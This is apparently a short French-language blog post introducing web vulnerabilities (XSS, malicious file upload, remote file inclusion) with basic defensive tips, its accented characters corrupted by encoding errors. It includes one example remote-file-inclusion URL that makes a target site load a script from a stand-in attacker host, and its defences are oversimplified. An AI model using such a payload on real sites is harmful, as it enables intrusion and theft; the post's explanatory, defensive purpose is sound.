La sécurité web ?
Bonjour les codeurs! Savez-vous que lâon peut modifier votre front-end peux afficher du code HTML non prĂ©vue ? Ou que votre serveur peut exĂ©cuter des requĂȘtes que vous nâavez pas dĂ©finies ? Ou encore volĂ©e le mot de passe de vos utilisateurs a leur insu ? Et beaucoup autre chose. Aujourdâhui nous allons parler Ă la fois dâun tout autre sujet aussi passionnant quâeffrayant mais que beaucoup dĂ©veloppeurs comme vous et moi prennent a la lĂ©gĂšre. Nous allons Ă©numĂ©rer quelques-unes de ses failles. Mais avant toute chose retenez ceci « NE JAMAIS FAIRE CONFIANCE AUX DONNEES ENREGISTRER PAR LâUTILISATEUR ».
<> : câest une faille aussi veille que la naissance du web. Il sâagit tout simplement de mettre du code HTML, CSS et JavaScript dans les champs de saisies des formulaires ou des Url en espĂ©rant quâil sâexĂ©cute une fois lorsque le serveur fera appel Ă ses donnĂ©es. Lâinjection correspond bien Ă une vulnĂ©rabilitĂ© oĂč des donnĂ©es externes modifient le comportement de lâapplication. Avec ce genre dâinjection vous pouvez insĂ©rer du code JavaScript de tel sorte quâil modifie le lien du formulaire site web dâorigine pour que ce dernier redirige les infos de lâutilisateur vers votre page, voler les cookies et voler une session dâutilisateur et se connecter Ă un compte sans mot de passe etc. Pour ce prĂ©munir contre cette attaque il faut tout simplement nettoyer le code des caractĂšres spĂ©ciaux.
<> il sâagit ici de tĂ©lĂ©charger un fichier corrompu sur un serveur et lâexĂ©cuter via Url ou via un appel distant. Câest la raison pour laquelle il faut vĂ©rifier le type de fichier que lâon reçoit sur notre serveur. Comme le type MIME est fourni par le navigateur, il est impossible de sây fier car le pirate peut faire passer un fichier PHP pour une image. Le ‘type’ indiquĂ© dans la variable $_FILES doit ĂȘtre ignorĂ©. On ne peut pas non plus se fier Ă lâextension du fichier chargĂ©. Parce quâon peut faire passer un fichier PHP pour une image ou encore injecter du code PHP et JavaScript dans un fichier aussi inoffensif quâune image(steganographie) et lâexĂ©cuter ou encore corrompre toute les donnĂ©es envoyĂ©es par le navigateur (avec de bons outils). A cet effet on ne peut pas toujours nous fier aux informations reçus par le navigateur. On peut utiliser des fonction tel que file_info(), getimagesize () etc. Comme faille des fichiers il yâa le dĂ©ni de service, lâĂ©crasement de fichier, la taille de caractĂšres, les failles par noms de fichier etc.
<> Câest lĂ©gĂšrement diffĂ©rents de lâinjection de fichier qui a pour but dâinstaller un fichier corrompus sur le serveur cible. Dans ce cas de figure il sâagit de mettre lâurl du pirate dans lâurl du site cible et le faire exĂ©cuter EX : www.example.com/?page=www.pirate.com/inject.php . Pour se prĂ©munir il faut se rassurer de lâorigine des paramĂštres URL.
Nous pouvons aussi noter les attaques tel que CSRF, les failles lier aux configurations serveurs et des fonctions, les injections SQL dans les bases de donnĂ©es et bien dâautres.
SĂ©curitĂ© web est vaste et une publication ne saurait couvrir tout le sujet. Quoi quâil en soit beaucoup ne dĂ©velopperons plus leur application de la mĂȘme maniĂšre car les risques vont de failles minimes tel que lâinjection du code HTML a la prise de contrĂŽle de votre systĂšme et pourquoi pas son clonage et mĂȘme jusquâĂ son effacement complet. Tout dĂ©pend des disposions de sĂ©curitĂ© mises en place
HAPPY CODIMG !đđđđđ